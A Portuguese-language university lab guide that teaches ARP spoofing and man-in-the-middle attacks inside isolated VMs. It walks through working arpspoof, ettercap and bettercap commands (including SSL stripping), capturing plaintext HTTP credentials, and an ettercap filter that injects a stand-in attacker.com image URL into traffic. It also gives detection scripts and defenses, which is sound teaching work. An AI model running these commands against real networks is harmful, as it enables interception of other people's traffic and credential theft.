Pular para o conteúdo principal

Lab 5.3: ARP Spoofing e Man-in-the-Middle

Objetivos de Aprendizagem​

Ao final deste laboratório, você será capaz de:

  • Compreender o protocolo ARP e suas vulnerabilidades
  • Realizar um ataque de ARP spoofing entre duas máquinas
  • Se posicionar como Man-in-the-Middle em uma rede
  • Interceptar e analisar o tráfego de rede em tempo real
  • Capturar credenciais transmitidas em texto claro
  • Detectar um ataque de ARP spoofing ativo
  • Implementar proteções contra ARP spoofing
  • Compreender a importância da criptografia

Duração Estimada​

40 minutos

Pré-requisitos​

  • 3 VMs: Atacante (Kali), Vítima (Windows), Roteador/Gateway (Windows ou Linux)
  • Rede interna VirtualBox
  • Wireshark instalado
  • Compreensão do modelo OSI e TCP/IP
  • Labs 5.1 e 5.2 completos

Contexto Profissional​

Os ataques Man-in-the-Middle (MitM) via ARP spoofing permitem que um atacante na mesma rede local:

  • Intercepte todas as comunicações
  • Roube credenciais (HTTP, FTP, Telnet)
  • Modifique o tráfego em trânsito
  • Redirecione para sites maliciosos
  • Realize phishing direcionado

Utilizado em:

  • Testes de penetração interna
  • Demonstrações de segurança
  • Ataques em redes WiFi públicas
  • Espionagem industrial
  • Roubo de sessões

ESTE LABORATÓRIO ENSINA UM ATAQUE ATIVO EM REDE

ARP spoofing é um ataque que intercepta comunicações de terceiros.

PERMITIDO APENAS:

  • Em sua rede de laboratório isolada (VMs)
  • Em sistemas de teste que você possui
  • No contexto de testes autorizados por contrato escrito
  • Com consentimento explícito de todas as partes

ESTRITAMENTE PROIBIDO E ILEGAL:

  • Em redes WiFi públicas (cafés, aeroportos, bibliotecas)
  • Em rede corporativa sem autorização
  • Para interceptar comunicações de terceiros
  • Para roubo de credenciais ou espionagem

CONSEQUÊNCIAS EXTREMAMENTE GRAVES:

  • Interceptação de comunicações = Crime grave (Código Penal art. 184)
  • Comparável à escuta eletrônica
  • Prisão de até 5 anos
  • Multas pesadas
  • Ficha criminal permanente

CONFIGURAÇÃO OBRIGATÓRIA:

  • Rede das VMs em modo INTERNO apenas
  • Sem acesso à Internet
  • Ambiente completamente isolado

Parte 1: Compreendendo o ARP e suas Vulnerabilidades​

Etapa 1.1: Protocolo ARP (Address Resolution Protocol)​

Função: Converter endereço IP em endereço MAC

Exemplo:

PC quer se comunicar com 192.168.100.20
PC só conhece o IP, não o endereço MAC
PC faz broadcast: "Quem tem o IP 192.168.100.20?"
192.168.100.20 responde: "Sou eu! Meu MAC é AA:BB:CC:DD:EE:FF"
PC agora pode enviar pacotes Ethernet

Tabela ARP:

arp -a

Resultado:

Interface: 192.168.100.10
Internet Address Physical Address Type
192.168.100.1 00-11-22-33-44-55 dynamic
192.168.100.20 AA-BB-CC-DD-EE-FF dynamic

Problema: O ARP NÃO possui autenticação!

  • Qualquer um pode responder
  • Sem verificação de identidade
  • Confiança cega

Etapa 1.2: Vulnerabilidade do ARP​

Ataque ARP Spoofing (ARP Poisoning):

  1. O atacante envia respostas ARP falsas
  2. A vítima acredita que o IP do roteador = MAC do atacante
  3. O roteador acredita que o IP da vítima = MAC do atacante
  4. Todo o tráfego passa pelo atacante!

Esquema:

ANTES:
Vítima (192.168.100.20) <---> Roteador (192.168.100.1)

DEPOIS DO ARP Spoofing:
Vítima (192.168.100.20) <---> Atacante (192.168.100.10) <---> Roteador (192.168.100.1)
↑
Man-in-the-Middle!

Perguntas:

  1. Por que o ARP é vulnerável por design?
  2. Em qual tipo de rede esse ataque funciona? (Local/Internet)

Parte 2: Configuração do Lab​

Etapa 2.1: Arquitetura do Lab​

3 VMs necessárias:

VM1 - Atacante (Kali Linux):
IP: 192.168.100.10
MAC: [Anote]
Função: Realizar o ARP spoofing

VM2 - Vítima (Windows):
IP: 192.168.100.20
MAC: [Anote]
Função: Alvo do ataque

VM3 - Gateway/Roteador (Windows ou Linux):
IP: 192.168.100.1
MAC: [Anote]
Função: Gateway de rede (simulado)

Rede: Internal Network "MitmLab"

Em cada VM, verifique:

# Linux
ip addr
ip route

# Windows
ipconfig
route print

Etapa 2.2: Anotar os Endereços MAC​

Em cada VM:

Linux:

ip addr show
# Procure por "link/ether"

Windows:

ipconfig /all
# Procure por "Endereço físico"

Anote:

VM1 (Atacante):  IP: 192.168.100.10  MAC: 08:00:27:XX:XX:XX
VM2 (Vítima): IP: 192.168.100.20 MAC: 08:00:27:YY:YY:YY
VM3 (Gateway): IP: 192.168.100.1 MAC: 08:00:27:ZZ:ZZ:ZZ

Etapa 2.3: Verificar Conectividade Inicial​

Na VM2 (Vítima), verifique a tabela ARP:

arp -a

Você deve ver:

192.168.100.1   00-11-22-33-44-55  (MAC do gateway real)
192.168.100.10 08-00-27-XX-XX-XX (MAC do atacante)

Ping no gateway:

ping 192.168.100.1

Funciona normalmente.

Perguntas: 3. Qual é o endereço MAC atual do gateway na tabela ARP da vítima? 4. Quantas entradas ARP estão presentes?


Parte 3: Ataque ARP Spoofing​

Etapa 3.1: Ativação do IP Forwarding​

Na VM1 (Atacante), ANTES de iniciar o ataque:

Linux:

echo 1 > /proc/sys/net/ipv4/ip_forward

OU

sysctl -w net.ipv4.ip_forward=1

Verificação:

cat /proc/sys/net/ipv4/ip_forward

Deve mostrar: 1

IMPORTANTE: Sem IP forwarding, o tráfego é bloqueado (DoS ao invés de MitM)!

Etapa 3.2: Iniciando o Ataque com arpspoof​

arpspoof (ferramenta clássica):

Terminal 1 - Envenenar a Vítima:

sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1

Comando:

  • -i eth0 - Interface de rede
  • -t 192.168.100.20 - Alvo (vítima)
  • 192.168.100.1 - IP a ser falsificado (gateway)

Resultado:

8:0:27:xx:xx:xx 8:0:27:yy:yy:yy 0806 42: arp reply 192.168.100.1 is-at 8:0:27:xx:xx:xx

Repete continuamente: "O gateway (192.168.100.1) tem o MEU endereço MAC!"

Terminal 2 - Envenenar o Gateway:

sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20

Diz ao gateway: "A vítima (192.168.100.20) tem o MEU endereço MAC!"

AGORA: Ataque MitM ativo!

Etapa 3.3: Verificação do Ataque​

Na VM2 (Vítima), verifique a tabela ARP:

arp -a

ANTES do ataque:

192.168.100.1   00-11-22-33-44-55  (MAC do gateway real)

DEPOIS do ataque:

192.168.100.1   08-00-27-XX-XX-XX  (MAC do ATACANTE!)

A tabela ARP foi envenenada!

A vítima acredita que o gateway = atacante!

Teste:

ping 192.168.100.1

O ping funciona (graças ao IP forwarding), mas passa pelo atacante!

Perguntas: 5. O endereço MAC do gateway mudou na tabela ARP da vítima? 6. O tráfego agora passa pelo atacante?


Parte 4: Interceptação de Tráfego​

Etapa 4.1: Captura com Wireshark​

Na VM1 (Atacante), inicie o Wireshark:

sudo wireshark &
  1. Selecione a interface de rede (eth0)
  2. Inicie a captura
  3. TODO o tráfego da vítima é capturado!

Na VM2 (Vítima), gere tráfego:

ping google.com

No Wireshark (VM1):

  • Filtre: icmp
  • Você vê os pings da VÍTIMA!

Você está interceptando o tráfego de outra máquina!

Etapa 4.2: Captura de Credenciais HTTP​

Na VM2 (Vítima), acesse um site HTTP (não HTTPS):

Sites de teste legais:

No VM1 (Wireshark), filtre:

http

Você vê:

  • Todas as requisições HTTP
  • Headers completos
  • User-Agent
  • Cookies
  • Credenciais em texto claro se houver login!

Follow HTTP Stream:

  1. Clique direito no pacote HTTP
  2. Follow → HTTP Stream
  3. Conversação completa visível!

Se site de login HTTP:

POST /login HTTP/1.1
Host: example.com

username=admin&password=SecretPassword123

Senha CAPTURADA em texto claro!

Etapa 4.3: Diferença HTTP vs HTTPS​

Na VM2, acesse agora:

https://google.com

No Wireshark:

  • Filtre: tls ou ssl
  • Você vê a conexão criptografada
  • Impossível ver o conteúdo!

Dados criptografados:

Content Type: Application Data
Encrypted Application Data: <dados ilegíveis>

Comparação:

  • HTTP: TUDO visível (URL, headers, senhas, conteúdo)
  • HTTPS: Apenas IP de destino visível, conteúdo criptografado

Perguntas: 7. Você conseguiu capturar tráfego HTTP da vítima? 8. Você consegue ver o conteúdo das requisições HTTPS?


Parte 5: Ferramentas Avançadas de MitM​

Etapa 5.1: Ettercap (Completo e Gráfico)​

Ettercap: Ferramenta MitM com GUI e funcionalidades avançadas

Iniciar:

sudo ettercap -G

Configuração:

  1. Sniff → Unified sniffing
  2. Selecione a interface (eth0)
  3. Hosts → Scan for hosts
  4. Hosts → Hosts list
  5. Selecione Vítima → Add to Target 1
  6. Selecione Gateway → Add to Target 2
  7. MitM → ARP poisoning
  8. Marque "Sniff remote connections"
  9. Start → Start sniffing

BOOM! Ataque MitM ativo com GUI!

Funcionalidades:

  • Detecção automática de hosts
  • ARP poisoning com um clique
  • Captura automática de senhas
  • Filters para modificar o tráfego
  • Logs detalhados

Etapa 5.2: Filters Ettercap (Modificação de Tráfego)​

O Ettercap pode MODIFICAR o tráfego em trânsito!

Exemplo de filter: Substituir imagens por outras imagens

Crie replace.filter:

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
}
}

if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://attacker.com/fake.jpg\" alt=\"");
}

Compilação:

etterfilter replace.filter -o replace.ef

Uso no Ettercap:

Filters → Load a filter → replace.ef

Resultado: Todas as imagens em sites HTTP são substituídas!

Etapa 5.3: Bettercap (Moderno)​

Ferramenta moderna e poderosa:

sudo bettercap -iface eth0

Comandos interativos:

# Descoberta de rede
net.probe on
net.show

# ARP spoofing
set arp.spoof.targets 192.168.100.20
arp.spoof on

# Captura de credenciais
set net.sniff.verbose true
net.sniff on

# HTTP(S) stripping
set http.proxy.sslstrip true
http.proxy on

Interface web:

sudo bettercap -iface eth0 -caplet http-ui

Acesso: http://127.0.0.1:80 (interface web completa!)

Perguntas: 9. Qual ferramenta você prefere (arpspoof, ettercap, bettercap)? 10. O Bettercap pode fazer downgrade de HTTPS para HTTP?


Parte 6: Detecção de ARP Spoofing​

Etapa 6.1: Detecção Manual​

Em uma máquina, monitore a tabela ARP:

PowerShell:

while ($true) {
Clear-Host
Write-Host "=== ARP TABLE MONITORING ===" -ForegroundColor Cyan
arp -a
Start-Sleep -Seconds 2
}

Observação:

  • Se um IP muda de MAC frequentemente: SUSPEITO!
  • Se dois IPs têm o mesmo MAC: ARP SPOOFING!

Exemplo de anomalia:

192.168.100.1   08-00-27-AA-AA-AA
192.168.100.10 08-00-27-AA-AA-AA <- MESMO MAC = ATAQUE!

Etapa 6.2: Detecção com Ferramentas​

arpwatch (Linux):

sudo apt install arpwatch
sudo arpwatch -i eth0

Logs em: /var/log/arpwatch.log

Alerta sobre:

  • Novos hosts
  • Mudanças de MAC
  • Flip-flop (MAC muda e depois retorna)

XArp (Windows):

  • Ferramenta GUI para monitoramento ARP
  • Alertas em tempo real
  • Gratuito

Script PowerShell de detecção:

$baseline = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$baseline[$matches[1]] = $matches[2]
}
}

while ($true) {
Start-Sleep -Seconds 5

$current = @{}
arp -a | ForEach-Object {
if ($_ -match '(\d+\.\d+\.\d+\.\d+)\s+([\w-]+)') {
$current[$matches[1]] = $matches[2]
}
}

# Comparar
foreach ($ip in $baseline.Keys) {
if ($current[$ip] -and $current[$ip] -ne $baseline[$ip]) {
Write-Host "ALERT: IP $ip MAC changed!" -ForegroundColor Red
Write-Host " Was: $($baseline[$ip])"
Write-Host " Now: $($current[$ip])"
}
}

$baseline = $current.Clone()
}

Etapa 6.3: Detecção em Rede​

Com Nmap:

nmap --script=arp-scan 192.168.100.0/24

Detecta:

  • Duplicidade de endereços MAC
  • Respostas ARP suspeitas

Perguntas: 11. Seu script de detecção alerta durante o ataque? 12. Quanto tempo leva para detectar o ataque?


Parte 7: Defesas contra ARP Spoofing​

Etapa 7.1: ARP Estático​

Definir entradas ARP estáticas (não modificáveis):

arp -s 192.168.100.1 00-11-22-33-44-55

Verificação:

arp -a

Tipo: static ao invés de dynamic

Vantagem: Imune a ARP spoofing!

Desvantagem: Configuração manual, manutenção difícil

Etapa 7.2: Port Security (Switch)​

Em um switch gerenciável:

Configuração de port security para:

  • Limitar o número de MACs por porta
  • Vincular MAC a uma porta específica
  • Desligar a porta em caso de violação

Exemplo de configuração Cisco:

interface FastEthernet0/1
switchport mode access
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown
switchport port-security mac-address sticky

Resultado: Apenas um MAC permitido por porta, mudança = shutdown!

Etapa 7.3: Soluções de Software​

Windows:

  • XArp (monitoramento e alertas)
  • ArpON (daemon de proteção)

Linux:

  • arpwatch (monitoramento)
  • ArpON (proteção ativa)

Firewall:

  • Regras para bloquear tráfego anômalo
  • Inspeção ARP

Segmentação:

  • VLANs para isolar áreas sensíveis
  • Limitar o alcance de ataques MitM

Perguntas: 13. Qual método de proteção é mais eficaz? 14. É realista configurar ARP estático em uma grande rede?


Parte 8: Cenários Reais​

Etapa 8.1: Ataque em WiFi Público​

Cenário típico:

  1. Café com WiFi público
  2. Atacante se conecta à mesma rede
  3. Inicia ARP spoofing
  4. Intercepta TODO o tráfego dos clientes
  5. Captura credenciais, cookies, dados

Dados capturados:

  • Logins em sites HTTP
  • Cookies de sessão
  • E-mails (se POP3/IMAP não criptografado)
  • Credenciais FTP
  • Pesquisas na web

Proteção do usuário:

  • VPN em WiFi público (OBRIGATÓRIO!)
  • Somente HTTPS
  • Não acessar banco/email em WiFi público

Etapa 8.2: Rede Corporativa​

Atacante interno ou via phishing:

  1. Comprometimento inicial de uma estação
  2. ARP spoofing no segmento de rede
  3. Interceptação de tráfego
  4. Captura de credenciais de domínio
  5. Lateral movement com credenciais roubadas
  6. Comprometimento total da rede

Tempo: Pode levar apenas algumas horas!

Etapa 8.3: Ataque Combinado​

ARP Spoofing + DNS Spoofing:

  1. MitM ativo via ARP
  2. Modificar respostas DNS
  3. Redirecionar para sites falsos (phishing)
  4. Roubo de credenciais mesmo em HTTPS (com certificado autoassinado + aviso ignorado)

Com Ettercap:

  • DNS spoofing integrado
  • Modificação de tráfego
  • SSL stripping (downgrade HTTPS → HTTP)

Perguntas: 15. Por que redes WiFi públicas são particularmente perigosas? 16. Como uma VPN protege contra ARP spoofing?


Entregáveis​

A entregar:

  1. Relatório do ataque MitM (Word/PDF, 4-5 páginas):

    • Respostas às 16 perguntas
    • Descrição completa da arquitetura do laboratório
    • Metodologia do ataque passo a passo
    • Análise do tráfego capturado
    • Tempo necessário para o ataque
  2. Capturas de tela (mínimo 8):

    • Tabela ARP ANTES do ataque (vítima)
    • Tabela ARP DEPOIS do ataque (vítima modificada)
    • arpspoof em ação (terminal)
    • Wireshark capturando tráfego da vítima
    • HTTP stream com credenciais visíveis
    • HTTPS stream (criptografado)
    • Interface do Ettercap
    • Script de detecção alertando
  3. Arquivos de captura:

    • Wireshark .pcapng com tráfego interceptado
    • Logs do ettercap ou bettercap
  4. Documentação de defesa (2 páginas):

    • Medidas de detecção recomendadas
    • Soluções de proteção por camada (rede, host, aplicação)
    • Política de segurança WiFi

Critérios de Avaliação​

CritérioPontos
Ataque ARP spoofing bem-sucedido30%
Interceptação e análise de tráfego25%
Detecção de ataque ativo20%
Compreensão das defesas15%
Qualidade da documentação e capturas10%

Comandos de Referência Rápida​

Preparação​

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

ARP Spoofing​

# arpspoof
sudo arpspoof -i eth0 -t VICTIMA GATEWAY
sudo arpspoof -i eth0 -t GATEWAY VICTIMA

# ettercap
sudo ettercap -T -M arp:remote /VICTIMA// /GATEWAY//
sudo ettercap -G # GUI

# bettercap
sudo bettercap -iface eth0
> set arp.spoof.targets VICTIMA
> arp.spoof on

Detecção​

arp -a                    # Verificar tabela ARP
arpwatch -i eth0          # Monitoramento
nmap --script arp-scan NETWORK

Limpeza​

# Parar arpspoof: Ctrl+C
# Na vítima, limpar cache ARP:
arp -d # Windows
sudo ip -s -s neigh flush all # Linux

Solução de Problemas​

Problema: Vítima perde conectividade durante o ataque​

Solução: IP forwarding não está ativado no atacante. Verifique:

cat /proc/sys/net/ipv4/ip_forward

Deve ser 1.

Problema: Não captura nenhum tráfego​

Soluções:

  • Verifique se ambos arpspoof estão rodando (vítima E gateway)
  • Verifique se o Wireshark está ouvindo na interface correta
  • Gere tráfego a partir da vítima

Problema: Tabela ARP não muda​

Solução:

  • O arpspoof está realmente rodando? Verifique o output
  • Firewall pode estar bloqueando ARP
  • Alguns switches possuem proteção ARP (Port Security)

Conclusão​

Este laboratório ensinou:

  • Protocolo ARP e suas vulnerabilidades fundamentais
  • Realização de ataque Man-in-the-Middle via ARP spoofing
  • Interceptação de tráfego de rede em tempo real
  • Captura de credenciais transmitidas em texto claro
  • Detecção de ataques ARP ativos
  • Medidas de proteção multicamadas

Lições-chave:

  1. ARP não possui segurança por design (confiança cega)
  2. Atacante na rede local pode interceptar TODO o tráfego não criptografado
  3. HTTP é completamente vulnerável a MitM
  4. HTTPS protege contra interceptação (importância da criptografia)
  5. WiFi público = Perigo extremo sem VPN
  6. Detecção é possível, mas proteção é complexa

Consciência:

  • Nunca mais usar HTTP para dados sensíveis
  • VPN obrigatória em WiFi público
  • Criptografia = Única proteção real
  • Rede local ≠ Rede segura

Síntese MÓDULO 5:

Agora você domina o reconhecimento de rede completo:

  • Lab 5.1: Nmap (mapeamento de rede, detecção de vulnerabilidades)
  • Lab 5.2: Enumeração DNS (descoberta de infraestrutura)
  • Lab 5.3: ARP spoofing (interceptação ativa)

Combinadas, essas técnicas permitem um reconhecimento e comprometimento de rede completo!


Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 5